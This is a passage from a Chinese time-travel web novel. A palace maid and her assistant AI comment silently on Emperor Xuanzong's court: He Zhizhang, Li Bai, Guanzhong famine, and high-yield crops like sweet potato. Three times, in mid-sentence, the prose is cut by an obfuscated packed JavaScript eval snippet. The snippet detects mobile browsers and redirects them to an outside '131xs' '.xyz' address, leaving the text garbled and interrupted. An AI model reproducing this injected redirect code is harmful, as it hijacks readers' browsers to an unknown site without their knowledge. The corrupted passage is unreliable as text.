萧青梧起初还觉得新鲜,听得十分认真,但听了一会儿,发现大多是些她不太感兴趣的财政、军事、司法案件,便开始频频走神,上下眼皮之间开始频繁打架,注意力也跟着涣散。 她掩嘴悄悄打了个哈欠,双目无神地呆呆看着前方,脑子里一片空白。 正在此时,一位身着绯色官袍,面容清癯的官员大步猛地出列,神情带着些许激动,声音十分响亮地高声道:“陛下!臣有本奏!” 所有人的目光瞬间集中到此人身上,连昏昏欲睡的萧青梧都精神一振。 因为她敏锐地察觉到,自这绯袍官员出列后,所有人似乎突然打起了精神,像是看到了什么令人兴奋的事,殿内气氛莫名地高昂了几分。 怎么了怎么了?要发生什么大事了? 李隆基面色不变,淡淡说道:“讲。” 那官员深吸一口气,手持笏板,朗声道:“臣要弹劾工部侍郎贺知章!其身为朝中大臣,却终日与市井文人骚客聚饮于酒肆,醉后行为放浪,有失体统!更屡有诗文传出,语多轻狂,恐损朝廷颜面!恳请陛下明察,予以训诫!” 14.第 14 章 贺知章?!萧青梧双眼噌地一亮,耳朵立刻竖起来了。 只见一位须发皆白,面色红润的老臣缓缓走了出来,面对此景,他的脸上并无多少惶恐,更多的是习以为常的无奈与认命。 【天呐!贺知章?!是写少小离家老大回的那个贺知章吗?!】 【贺知章,字季真,唐代著名诗人与政治家。他性格旷达,好饮酒,与张旭、李白等人交好,是盛唐时期长安文坛领袖人物之一,有多首著名诗篇流传后世,少小离家这一句便出自他晚年辞官归乡时所创作的《回乡偶书二首》。】 【能见到贺知章,今天就不算白来啊!以前只知道他的诗写得好,都不知道官也做这么大。】 【按照记载来看,贺知章此时身兼三职,除了尚书省正四品下的实权要职工部侍郎,身上还挂着侍读与太子右庶子这两个地位清贵的职务,所以他会出现在朝会上,是理所应当的事。】 听着萧青梧的心语,群臣不约而同地在心中泛酸:这就青史留名了?写几首诗就行了?他们的诗写得也不错啊,怎么不见在提到他们名字的时候这么激动呢! 李隆基的目光惊讶了一瞬,不过很快就恢复了平静,转向贺知章,语气中带着轻微的调侃和戏谑:“御史弹劾你放浪形骸、言语轻狂,贺侍郎,你这次又有何可辩白的?” 此时的贺知章整个人都飘忽忽的,目光有些茫然,脸上隐约泛着激动的潮红,连持着笏板的手都在微微颤抖。 他方才似乎听见……那个近段时间被群臣议论猜测的宫女,那个据说身负神器、可以预言未来的萧青梧,她说,自己是著名诗人?还说他有多首名篇流传至后世?这、这难道是他的幻听?! “臣、臣……”贺知章定了定神,强行将暴涨的心绪压下,努力将注意力拉回到眼下的弹劾上。 他清了清嗓子,对着御座的方向躬身一礼,声音依旧带着一丝不易察觉的微颤:“回陛下,臣近日确与三五好友于市井酒肆中偶有聚饮,诗文唱和间,或许有忘形之举,此乃臣之过,臣知错矣。” 他顿了顿,暗暗深吸一口气,继续说道:“然臣与好友所做诗文,多为以景抒怀、寄情山水之作,绝无蓄意损及朝廷颜面之举,还望陛下明鉴。” 他的辩解显得有些心不在焉,三两句便草草结束,远不如往日那般引经据典、机敏风趣,仿佛大半心思仍沉浸萧青梧给他描绘的美好图景中。 贺知章显然不是第一次被御史弹劾了,隔段时间就要来一次,不说他本人,就连李隆基都已早早习惯。 “贺侍郎,你身为朝中大臣,纵是私下宴饮,亦当时刻谨记身份,收敛行止,莫要效仿那轻狂放浪之徒,平白惹人非议。”李隆基开口敲打一番,声音带着一贯的威严,脸上却没有多少厉色。 御史弹劾几乎天天都有,大多时候都是些无伤大雅的小事,或是臣子间意气之争,或是言官们想博个刚正的名声。贺知章这事,说到底不过是文人积习,虽狂放了些,但也算不得什么大过,李隆基向来不会在这种小事上大做文章。 他略一思索,很快做出了决断:“念你多年勤勉,此番亦非大恶,便罚俸两月,以示惩戒。往后当时时自省,克己复礼,莫要再犯。” 罚俸两月,对于贺知章这等品级的官员来说,不痛不痒,更像是一种象征性的警告。 贺知章闻言,脸上没有半分不满,极为干脆利落地深深一揖,语气轻快地谢过恩,一脸喜气洋洋地回到原位。 离得近的几个同僚看他这幅模样,心中不免觉得好笑,又有些泛酸。 他们将目光暗暗投向御座后方那人身上,心底不住地念叨期盼着:快多说些!别只说一个贺知章,快说说我等是否也被后世铭记啊! 【御前失仪也就算了,和朋友在私下里喝酒还管这么宽吗?凭什么罚人家两个月的俸禄,贺知章做错任何事了吗?】 萧青梧在心里为贺知章鸣不平,反正就是心里吐槽,又不会真的说出来,自然是怎么爽怎么说,用不着考虑面子工程、折中处理等现实因素。 【李隆基这个做法并不是真的要处罚他,古代官场上说的罚俸几月,通常是一种政治姿态,这表明皇帝听取了谏言。若对弹劾完全置之不理,即便是小事,也会打击言官的积极性,阻塞言路。】 【好吧,什么官场厚黑学,对错之间连个标准都没有,全是人情世故和所谓平衡术……】 萧青梧和9527在心里嘀咕着,一点没注意到御史的脸色变得十分精彩。 他当即就要再次出列,想劝皇帝从重处罚,好证明他这言官的工作并不是政治作秀,而是真正地在履行监察百官的职责。好在身旁一位资历稍长的御史眼疾手快,暗暗攥住了他的袖口,递过一个不赞同的眼神。 那御史正在气头上,被这么一拦,更是恼火,猛地一甩袖子意图挣脱。动作间,手中的象牙笏板“啪”地一声,不偏不倚正好敲在了拉他那位同僚的手背上。 被砸的御史吃痛,飞快地缩回手,带着愠色的眼神没好气地扫了对方一眼,心中暗骂:这莽夫! 出列弹劾的御史理智稍回,只得将这口憋闷之气硬生生咽了回去,重重哼了一声,铁青着脸,梗着脖子退回了班列之中。 李隆基自是下方那些小动作看在眼里,他重重咳嗽一声,目光略带不满地扫过神情各异的臣子们,正要开口让朝会继续,侧后方响起的声音再次打断了他。 【我看看……嗯,很标准的人生赢家啊。】萧青梧快速浏览着9527提炼出来的人物生平,暗自在心里嘀咕,【居然活到了86岁,好高寿,而且仕途也没什么波折,一路平稳步步高升……啧啧,李白看了要流泪,杜甫看了要心碎。】 【贺知章的人生经历确是唐代文人中少有的完美,他官运亨通,交友广阔,诗名远扬,地位清贵尊崇,完整地经历了初唐到盛唐的辉煌,见证了开元盛世,并在安史之乱爆发前离世,避免了目睹唐朝由盛转衰的悲惨景象,这本身就是一种巨大的幸运。】 萧青梧想了想9527这话,不由暗暗点头。 她调出贺知章几首知名代表作,将它们放在同一个页面中来回对比欣赏,心中不由感慨。 【还真是这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16330076|182410||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 样,难怪我印象里贺知章写的诗,风格都很洒脱阔达呢,没有一首是很苦的,这说明什么?说明他的人生里压根就没有大多数诗人都会经历的那种极度苦闷失意的时候啊!】 而在其他人视角下,萧青梧身后突然出现一张泛着莹白色光芒的巨大画布,上面写满了诗文,每一首的题目下面,署名俱是贺知章,显然,这些诗全是他一人所做。 群臣们神情惊异,但很克制地没有发出太大动静,只是将灼热的好奇的视线紧紧放在上面,心中默念这些诗,一边为诗人的才华感叹,一边又在暗暗琢磨“安史之乱”、“由盛转衰”这几个字,以及抑制不住的对贺知章的羡慕。 人生赢家这个词太准确了,他贺季真可不就一路赢么,武周时期的状元,随后一路至国子四门博士、太常博士,后又被张说荐入书院,现在更是成了东宫近臣、储君师友,再听那女子的预言中,往后还会更进一步,荣华加身安享晚年,更有诗篇流传于后世,铸就文名。 幼而学,壮而行,老而归,身后名,文人终其一生都在追求的至高理想,每一样都完美践行了,这、这真是让人嫉妒羡慕得眼珠子都红了! 贺知章在同僚们复杂的眼神中,竭力让自己嘴角不要翘得太高。 现在是该高兴的时候吗?那必然不是,没看陛下因为“由盛转衰”这几个字瞬间铁青的脸色么?克制克制,万万不可过分得意,贺知章啊贺知章,你岂能因一己之喜,而忘乎庙堂之忧、君王之虑? 9527接着萧青梧的话,语气平稳不带感情地继续说:【您说得很对,另外,贺知章在文学史上的地位与影响力,除了本身具有才华,一定程度上也源于他慧眼识才、提携后进的雅量,最广为人知的事迹之一,便是在长安初遇当时尚且声名不显的李白,读其《蜀道难》一诗后顿时惊为天人,当即便称其为“谪仙人”,并解下身上的金龟换酒与之共饮,成就了“金龟换酒”的千古佳话。李白“谪仙人”的称号便是由此而来。】 【我知道这个!贺知章可是李白命中的第一伯乐啊!】一提起李白,萧青梧便忍不住激动,声音都高了几分,【如果不是贺知章,李白说不定还得再蹉跎十年才能当上官!他人也太好了吧!】 爱屋及乌,一想到这是偶像的贵人和好友,她看贺知章的视线比先前更热情了几分,亮晶晶的星星眼中满是崇拜与赞叹。这突如其来的、近乎炙热的目光,让贺知章本人和殿内群臣都感到一阵错愕与不解。 先前谈及贺知章的诗文与官运时,这女子虽也流露欣赏,却远不似此刻这般…澎湃汹涌。 这样的改变,是因为说到贺知章提携了李白,免去李白蹉跎之苦。难道说,在后世看来,即便贺知章自身有“少小离家老大回”这般足以传世的诗句,其最大的荣光,竟在于提携了那个名为李白的人?他的文名与政绩,竟需与这李白捆绑,方能更显璀璨? 殿内响起一片几不可闻的抽气声,群臣心中掀起无数惊涛骇浪。 这李白,究竟是何等惊才绝艳的人物? 难道真如贺知章所说,乃是天上贬入人间的仙人不成? 15.第 15 章 在众人各异的神色中,有一位年约三十,风姿俊逸的官员几不可察地扬了扬眉,此人正是任侍御史之职的齐国公崔宗之。 去年孟冬,圣人下诏巡幸四方,命各地举荐贤才,他奉旨离京督办选贤事宜,途经南阳时,曾与一位名叫李白的才子有过一面之缘。 尽管相处的时间短暂,但对方卓尔不群的谈吐与远超常人的惊世文采,给他留下了非常深刻的印象。难道这萧青梧口中所述,能得贺侍郎如此青睐的李白,与他所结识的竟是同一人?抑或只是同名同姓的巧合? 想到此女提及李白时的推崇之态,崔宗之心头不由一动,先前与李白把酒论诗的场景蓦然浮现于眼前。彼时他便觉此人才华横溢,绝非池中之物,只是困于时运,未能崭露头角。如今看来,莫非这李白将来真能声名鹊起、显赫于世? 一念及此,他心中甚至隐隐生出一种预感:恐怕要不了多久,这位昔年旧识便将乘风而起,纵不能一飞冲天,至少一番光明前程,应是近在眼前了。 再思及李白提起过的,因仕途无望而在长安穷愁潦倒自暴自弃的过往,他心想,或许,自己该修书一封,邀其再入长安?值此风云际会之时,正需如此俊才。然而这个念头刚起,便又化作一声轻叹。 天地茫茫,自南阳一别后再无音讯,那人如今又漂泊何方呢? 同时,萧青梧也在心里感慨着:【现在是开元二十一年,李白要到开元二十三年正月才会来长安,给皇帝献上《明堂赋》,还得等一年多……而且也不知道到时候能不能见到他?】 【主人,根据后世学者分析,李白献《明堂赋》的地点是在洛阳,并不在长安。】 【洛阳?】萧青梧一阵雀跃,【这么说来,明年或者后年的时候,李隆基会去洛阳?那我是不是可以跟着?终于可以换地图了是吗?】 【是的,根据开元二十二年大事记记载,正月初,李隆基便会率百官巡幸洛阳,时间长达两年,一直到开元二十四年才返回长安。】 萧青梧心里盘算着,李隆基一去洛阳就是两年,她也要跟着去吗?去的话,接下来两年都只能在洛阳行宫里,真的要把整整两年都耗在那吗?要不要趁早离开四处去玩耍游历呢? 而这番对话听在李隆基耳中,却令他的眉头越锁越紧,心绪愈发沉重。 他的确有过了元正就前往洛阳就食的计划,这两年关中地区粮食欠收,粮价飞涨,尤其今年入秋以后雨水丰沛引发灾荒,长安粮食短缺的问题愈发严重。经与宰相们再三商议,他决定如以往那般带着所有人去洛阳暂住,首要之务是缓解京师的粮荒。 这个计划不是临时起意的,但萧青梧一个进宫不过月余的宫女绝不可能知晓任何政务相干的事宜。如此说来,那预言中所说的安史之乱、由盛转衰、帝国将倾等灾祸,可信度又高了几分…… 李隆基心生烦躁,拇指上的玉扳指无意识地转来转去。但他转念一想,去洛阳这事百官全都知晓,或许她是从某个官员处得知的呢? 正思忖间,又一名官员出列,神色凝重地朗声道:“陛下,今岁关中各州县的粮赋簿册已初步核验完毕,然京兆府有三县上报,称今夏有旱情,秋季又遇雨灾致使粮食欠收,请求酌情减免赋税……”他详细说明了情况,并呈上了相关文书。 李隆基看完所有文书,皱眉沉思片刻,并未立即决断,而是目光扫向百官,问道:“诸卿以为如何?” 张九龄第一个出列,声音沉稳地说道:“陛下,灾情如火,老臣以为,渭南三县所请,当准。即刻减免其本年赋税,并可从京兆府粮仓中先行调拨部分存粮,速往赈济,以解燃眉之急,防民变于未然。” 裴耀卿跟着出列补充道:“陛下,张相所言乃是固本安民之急策,臣附议。然则,臣忝掌漕运,深知京师命脉系于江淮粮秣。今关中歉收,非止三县,乃波及京畿数州。太仓之粮,虽可暂解京师之渴,然若欲支撑至来年夏收,仍需未雨绸缪。” 他已年过五旬,身板却十分硬朗,面容刚硬,肃容而立的样子不显老态,仅在眼角鬓发间依稀可见岁月的痕迹。 他一眼都不曾往手中笏板上扫过,侃侃而谈地继续道:“当务之急,臣有三请。其一,请敕令河南、江淮诸道转运使,速核清现有仓廪储粮,限期报备,以便统一调度。其二,请加派御史巡阅漕渠,疏浚关键河段,确保自春日起,漕船北上之路畅通无阻,绝不可因河道壅塞而误了粮期。其三,即刻与河北道节度使商议,可否由太原仓调拨部分军粮,暂充关中民用,待江淮粮至再行补还。” 李隆基沉思着,一时难以决断。裴耀卿确是干才,一眼看到要害,然而要从太原仓调拨军粮…… 太原乃北疆军事重镇,军粮关乎边防安危与边将人心,岂能轻易动摇?此例一开,后患无穷不说,更是无异于将朝廷的窘迫公之于众,这于他这位缔造盛世的帝王而言,何等难堪? 李隆基心中略有羞恼,但粮食和灾情又的确是个大问题,最终,他也只能无奈地道:“此议虽能解一时之急,但其间关系甚大,不能轻易决断……” 裴耀卿暂时退了回去,调拨军粮一事兹事体大,他也没想过一次朝会上就能决定下来。 【唉……古代百姓活着也太不容易了,连皇帝都要为着粮食的危机,兴师动众地跑到洛阳去,留在关中的百姓,他们又该怎么应对呢……】 一道饱含无限愁绪的轻柔心语响彻在众人耳畔。 李隆基闻言,以眼神示意另一个正打算出列奏事的官员先退下,他想先听听萧青梧要说些什么,或许……借此机会,又能听到什么天机呢? 【这真是个沉重又让人无奈的现实,从新石器到二十世纪七八十年代,这几千年的时间长河中,百姓其实一直在挨饿,真正全民能吃饱饭的时间,也不过只有距离我们最近的这短短二百多年。】 【可是,这不是盛世吗……】萧青梧喃喃念着,【连京师这样的地方都在闹饥荒,那其他地方的人又该怎么办呢……】 9527虽然不是以情感交流和陪伴为主的AI,但在说到这些沉重的惨状时,它的语调也跟着调整出一些人性化的无奈:【古代所谓的盛世,也仅仅意味着饿死的人相对较少,或者大规模的饥荒得以避免,古代没有任何一个朝代能做到让大部分人都丰衣足食,“朱门酒肉臭,路有冻死骨”才是封建社会的常态。】 【整个关中都闹饥荒,这还不算大规模吗?】 【主人,古代与现代对灾害的界定标准完全不同。当前的关中粮荒,在唐代已是需要皇帝亲自应对的严重危机,但这与导致王朝覆灭、或动摇统治根基的特大灾害仍有巨大差别。总体而言,这是眼下急需解决的大麻烦,但在深度和广度上来说,规模确实不算大。尤其是唐朝灾害频发,农业生态极为脆弱,上至皇帝下至百姓,大家对常态灾害的接受程度已经很高了。】 萧青梧听得心里越发沉重,她想起自己进宫之前,长安街头那些让人看了就不想再看第二眼的景象。 【说的也是,想一想,杜甫的儿子都能被饿死……那可是盛世啊,安史之乱还没来呢都成这样了,杜甫好歹还是个官呢……】 对啊,这不是盛世吗?为什么盛世里活着都这么难?那不是盛世的时候呢? 而一直旁听的文武百官们,脸上却十分难看,那句“朱门酒肉臭路有冻死骨”更像一记重锤,狠狠砸在宣政殿每一个能听见她心语的人心上。 盛世……? 这两个从前总令他们骄傲的字,此刻听起来竟有几分刺耳。 他们之中,不乏出身世家大族、从未为衣食忧愁过的人,也有凭借文采与军功被重用,一路爬上来的精英。此刻,在那声声质疑中,一种混杂着不悦、轻蔑与些许被冒犯的情绪在许多人心中滋生。更有几人嘴角几不可察地下撇,心中冷哼着“妇人之言”之类的句子。 也有部分官员下意识地避开了望着上方的目光,或低头看着笏板,或望向殿外在冬日暖阳照射下的路面,脸上或多或少都带上了一丝不自在和讪讪。天灾人祸哪能避免呢?历朝历代不都是这样过来的,这次关中闹饥荒,最大的影响只是在粮价的波动上,没有到完全活不下去的地步,这、这已经很好了啊…… 李隆基的脸色是其中最难看的那个,他感觉脸上火辣辣的,一股混合着羞愤、恼怒与极力否认的灼热情绪瞬间冲上他的头顶,甚至还有些自己都没察觉到的委屈。 自他登基以来,夙兴夜寐,宵衣旰食,方有今日之治世,谁敢拍着胸口说,历朝历代,有哪个皇帝的治下比他的更海晏河清?谁的百姓能如他的子民这般安居乐业? 纵然偶有天灾,也不过天道循环的常理,他数次劳师动众地巡幸东都,不正是为了纾解民困,为天下做表率吗,这次关中粮荒,他不够重视吗?他坐视不理了吗?他像杨广那样夜夜笙歌奢侈无度了吗?! 李隆基深吸一口气,缓缓压下充斥着肺腑的激烈情绪,话都已经说到这份上,他倒要继续听下去,这女人还要说些什么。 萧青梧也不负所望地继续和9527说:【那这次关中粮荒的问题最后怎么解决了?很快就能过去吗?】 【去洛阳之前,李隆基向裴耀卿询问救人之策,裴耀卿建议疏浚河道,从江淮调粮至关中,并在后续工作中改革了漕运,使得关东和江淮地区的粮食大量运抵关中,大力缓解了关中的粮食压力。虽然没有明确记载,但按照推测,最迟到后年,关中粮食的问题能得到很大缓解。】 正支棱着耳朵听的裴耀卿一听这里面还有他的事,不由抬头望了一眼,在旁的同僚们也将目光纷纷落在他身上。 若真如这宫女所言,裴耀卿封相恐怕也不远了,毕竟,改革漕运可是大功一件。 裴耀卿自然也想到了这一点,他微微垂首,掩去眼睛里暴涨的精光,心脏不由跳得快了几分,袖子中的手都激动地攥了起来。 【不过……】众人听萧青梧又说道,【封建社会这个条件下,再怎么改革,只要动力机械一天没造出来,能改的地方就有限吧?不然为什么唐朝之后的一千多年里,远距离运粮始终是个大问题呢?】 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16340322|182410||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是啊……为什么? 一些务实派的官员,如裴耀卿韩休等人,眉头锁得更紧。他们每日与漕运、仓储、田赋打交道,深知其中艰难。河道淤塞、漕船损毁、役夫艰辛、沿途损耗、地方盘剥等等……每一环都是难题。所谓的改革,往往也只是在旧有框架内修修补补,确如那女子所言,终究有其极限。 想到此,众人将目光凝在御座之后那道身影上,似乎想要看出个能解决问题的一二三来。 【您的理解完全正确,裴耀卿的改革已是当时条件下所能做到的最优解,但运输工具的动力源未有革命性突破,因此运输的成本、速度和总量存在无法逾越的上限,这是农业时代的共性难题。】 萧青梧再次沉沉叹了口气,这会的她已经彻底忘了自己御前伺候的职责,也忘了下面还有这么多人看着,一心沉浸在自己的思绪中了。 【其实说来说去,问题的根源还是出在粮食上,都是粮食产量太低闹的啊……要是能发现一款产量高、抗灾能力强、不挑土壤的粮食就好了……】 百官闻言心中齐齐呸了一声,快别说这些没屁///眼子的事了,说些他们不知道的。 【哎等等,好像还真有!】萧青梧兴奋地握拳锤手,【想起来了,占城稻啊!】 【占城稻的确是一个杰出的例子,这种作物最大的优势就是顽强,耐寒耐旱,不挑土壤,连贫瘠的坡地山头都能种。而且生长周期短,别的稻子要一百多天,它几十天就能收,一年可以做到两熟甚至三熟。宋朝第一次养活了超过一亿人口,离不开占城稻带来的物质基础。】 所有人的目光瞬间灼热得能把地板烫个洞,一年两熟还好说,岭南江淮部分地区已经培育出了两熟的稻子,推广至整个南方只是时间问题。但那句耐旱耐寒、石头缝也能长的特性,对于整个北方来说,却是真正的宝贝。 在北方,漫长的生长周期已是常态,更致命的是春旱秋霜的连环劫掠。对作物而言,一年的首要使命绝非追求产量,而是如何在这场气候围剿中——活下去! 快些继续说啊!什么是占城稻?它在哪里??要怎样才能得到?! 【占城稻确实不错啊,不过……唉,算了,宋朝的东西,现在想也没什么用,再怎么YY,占城稻也不会自己长脚跑到长安来的……】 席上一个老臣此刻坐立不安,屁股底下像是长钉子了似的,双眼不住地给御座上的人发送某种双方都懂的强烈暗示。 李隆基也是又气又急,他就说!这个混账!每次说到关键时刻就闭口不言,生生把人吊在那里不上不下的!占城稻到底在哪里你倒是说啊!! 【说到抗灾,其实最好的就是红薯了,亩产五千斤左右,按照现在的单位计算,就是……唔,我算算,一亩地大概七十石左右,我没记错的话,现在的产量好像也就个位数吧?】 【您说得没错,在唐代,亩产能达到二至三石已经算丰年,七十石这个数字,放在现在是一个无法想象的天文数字。】 整个宣政殿的空气仿佛瞬间凝固了。 七十石?! 这轻飘飘的数字如同九天惊雷,在所有能听见这心语的君臣脑中炸开!巨大的冲击力让许多人眼前一黑,身形控制不住地晃了晃,倒是引得后排那些什么都听不到完全不知道怎么回事的深感莫名。 象牙笏板坠地的声音接连响起,平日里持重如山的衮衮诸公们,此刻竟个个呼吸急促,面色涨得通红,几位年事已高的老臣更是踉跄着几乎软倒,全靠身旁的同僚的搀扶才未御前失仪。 七十石!这简直是神迹!他们毕生所知的农事常识在此刻被彻底颠覆。 御座之上,李隆基的呼吸放得极轻,指尖深深嵌入掌心,用尽全力才能维持住帝王威仪。那巨大的、几乎要冲破胸膛的悸动席卷了他。若得此物,天下何愁饥馑?这分明是镇国神器,足以奠定万世太平的基石! 他的目光猛地转向侧后方那身影,什么占城稻他已经全忘了,这会脑子里只有红薯二字!强烈到冲动的念头灼烧着他的理智,不论付出何种代价,他必须得到红薯! 在众人急切地快要烧起来的目光中,萧青梧懒洋洋叹了口气:【又在幻想了,又在幻想今天造大船明天下南美了。占城稻都远在天边呢,红薯就更是无稽之谈,不说了,还是关注眼下吧……嗯??怎么回事,我才发现怎么突然都不说话了,都看着李隆基做什么?】 “咚——”的一声,一个身着紫袍的老臣因心绪起伏过大,受不了刺激两眼一闭彻底晕倒。 “杜尚书!你怎么了杜尚书!快去太医署寻医师过来!!”左右众人连忙围上来,使劲掐着老臣的人中试图让他醒过来。 李隆基深吸一口气,他颤抖的双手紧紧握着御案的边缘,竭力控制住自己暴怒抓狂失态到想打人的情绪。 他真的很想转过头去问一句,是不是故意的??是不是故意的??!! 为什么每次都戛然而止!为什么每次都吊人胃口!! 他甚至想狠狠掐着她的脖子质问,到底是不是故意的!! 16.第 16 章 第二天凌晨三四点,萧青梧又被叫着去宣政殿伺候。 她跟着队伍一路迷迷瞪瞪地步入大殿,像昨天一样站到自己的位置上,然后头脑放空开始发呆。 睡眠不足啊,哪怕现在每天睡得很早,但二十多年的生物钟不是这么轻易就能调整过来的。 对于朝会的新鲜感只维持了一天,凌晨起床的时候,那份新鲜感跌落至最低谷,要不是想起目前只解锁了五张的人物卡,她差点都想让高力士把她发配回掖庭了。 【求求了,别工作了,出去玩吧,太液池芙蓉园曲江……哪都行啊,也带我见识见识吧!】 萧青梧满脸痛苦地盯着李隆基的后脑勺,希望能通过意念把自己的殷切期望传递到对方。 【劳逸结合明白吗?适当的娱乐才能提高办公效率啊!咱上五休二行吗?不放假老的快,人也会变笨的啊!】 【值得一提的是,唐代和宋代官员的假期是所有朝代里最多的。据统计,唐玄宗时期,官员们的假期多达113天,皇帝虽然不会跟着一起放,但他拥有最高的自由度,可以自行安排作息和处理政务的时间。】 【好了可以了!】萧青梧急忙打断,【大早上的,别说这些让人不开心的。】 再说下去就要演变成阶级武装斗争了。 李隆基听着身后方传来的胡说八道,心中冷哼,这话说得,好像他手握权柄便可随意懈怠、肆意享乐了一般!一年三百六十五日,他有几天是能真正将肩上的担子卸下的? 趺坐于御榻上,他双目缓缓扫过殿中林立的百官,正要向身侧的高力士示意开始,眼睛突然敏锐地察觉到似乎少了点什么。 他蹙眉看向工部官员们所在的位置,转头问分管考勤的御史:“贺侍郎为何不在?” 御史应声出列,上前几步恭敬回答道:“贺侍郎昨夜遣家仆来告假,称其酒后头昏眼花坠入河中,不慎跌破了头,损及颜面,恐失朝仪,故而恳请今日暂休一日。” 李隆基听得吃了一惊,连忙问:“贺侍郎伤势如何?可还严重?” 御史回道:“家仆称只是额部擦伤,并无大碍。” 李隆基听罢点点头,随即又觉得好笑,甚至有些微微的幸灾乐祸。七老八十的人了,平日里便整日醉酒,举止疏狂,昨天骤然听到那么大的喜事,不纵酒狂欢就不是贺知章了。 【贺知章掉河里了?!】萧青梧心中惊呼,【那么大年纪了,没事吧?李隆基也不说派人过去看看,有这么当老板的吗!】 “开始吧。”李隆基对高力士点头,只将身后的噪音当做耳旁风。 【根据记载,贺知章他性情豪放,幽默善辩,名流们都很喜欢与他往来,到了晚年更加放纵,还给自己起了个别号叫四明狂客。酒后落河这样的事,对他而言并不少见,李隆基对此早就习以为常了。】 此时,一位户部官员上前几步,神色凝重地奏道:“陛下,昨日京兆府急报,连日大雪,渭南、蓝田、醴泉、高陵、新丰等县,多处民宅不堪积雪重压,多有坍塌。其中,渭南县情况尤甚,伤者七十八,亡者二十二,数百人无家可归,冻馁交加。” 【那也应该去看看啊,他不是就喜欢经常赏赐文人好搏个优待文化人的好名声么?】 百官齐齐低头,或是撇开视线不与上边对视,额头冷汗直冒。 苍天!何不让他们的双耳就此失聪啊! 李隆基暗暗咬牙,装作没听到,面色沉冷地问道:“灾民现在如何安置了?京兆府与各县官府可曾开仓放粮、搭建临时居所?” 【主人,容我指出,您对李隆基有着很强烈的偏见,并不是说这样不好,只是过度陷入情绪容易让您失去对事物的正确判断。作为时空旅游司的助手AI,我有义务和责任,在您的思想出现偏差时,及时提醒纠正,将其导回正轨。】 【切,你到底跟谁站一边的……我不说他了还不行嘛……】 萧青梧萧青梧悻悻地住了口,不再多言。 9527不仅是个全方位的资料支持者,更是总司配备的24小时监督员。为了防止她这样的玩家在历史上胡搞,它会忠实记录她的一言一行,有任何出格之处都会上报上去,如果被认定为性格偏激或举止不当,下次再想申请就很难了。 萧青梧撇撇嘴,下次再不跟9527吐槽了,她自己想……等等,刚才好像在说雪灾死了人? 她连忙将注意力拉回朝堂,又让9527将刚才的对话回放了一遍。 户部的官员接着奏道:“各县虽已搭建窝棚、开仓赈灾,尽力收容灾民,然自去年以来,春旱夏涝、秋蝗冬雪,从未止歇,尤其今年夏粮收成较往年又减了三成,关中粮储屡屡预警。各地仓储存量本就不甚充盈,此番雪灾耗费甚巨,所存粮秣、柴薪与灾民的数量而言,恐难以为继。” 李隆基捏着高力士递上来的文书,叹气不语。 解决的办法谁都知道,赈灾。赈灾需要粮食,可是粮食又要从哪来呢?从江淮运?时间不等人啊…… 【怎么又是渭南县,昨天才说过渭南粮食欠收要减税,现在又闹雪灾,唉……】 萧青梧内心沉甸甸的,她似乎已经看到了一家老小在破了洞的残垣断壁中,顶着风雪,哆哆嗦嗦靠在一起御寒的画面。 【如果我早点让你查一下灾害大事记就好了……】她默默想道,【这样说不定可以预警一下,多少能避免一些伤亡呢……】 【一般来说,这种规模的灾情是不会被记录在史书里的,即便翻遍整个资料库,也不会有任何记录。】 萧青梧知道9527说的是对的,再说她现在的身份就是个小宫女,就算真的提前知道了,谁又会听她的?拿手电筒激光灯COS一把神女给自己造势,发展信徒,通过这种方式散播信息么? “陛下!!” 突然,一个身穿紫袍的老臣形容凄切地大喊一声,接着扑通一声跪在地上,双眼含泪:“百姓何辜,遭此大厄啊!!” 他仰起头,老泪纵横,哭喊的声音异常洪亮,仿佛要将心肺都哭出来:“臣方才听闻各县惨状,心如刀割,五内俱焚!那被积雪压垮的,哪里是梁木砖瓦,分明是百姓赖以存身的最后一片遮风避雨之所!那文书上所陈列的数字,是活生生被冻毙的父老,是无衣无食的孤儿寡母!今岁天时不正,春旱秋涝,民力早已凋敝。臣恐……臣恐此刻京畿之外,已是饿殍遍野、易子而食啊陛下!” 话音刚落,另一位身着紫袍,同样身居高位的老臣也猛地出列,扑通一声跪倒在前者身旁,捶胸顿足,神情更为悲切:“陛下!太尉所言,字字泣血,句句锥心!然追根溯源,一切灾殃,皆系于一个粮字啊!若有粟米盈仓,纵有天灾,又何至于斯啊!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16358401|182410||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他抬头望着头顶,几乎是泣不成声地振臂高呼道:“苍天啊!若得上苍垂怜,赐我大唐那不畏旱涝、不择瘠沃、能救万民于水火的高产神种,使我百姓再无饥寒之忧,臣即使死了,也甘愿啊!” 官员队列中响起沉闷的低笑和压抑的咳嗽声,接二连三,像是在极力忍耐什么。 萧青梧再多的沉郁,都被这几嗓子给喊没了。 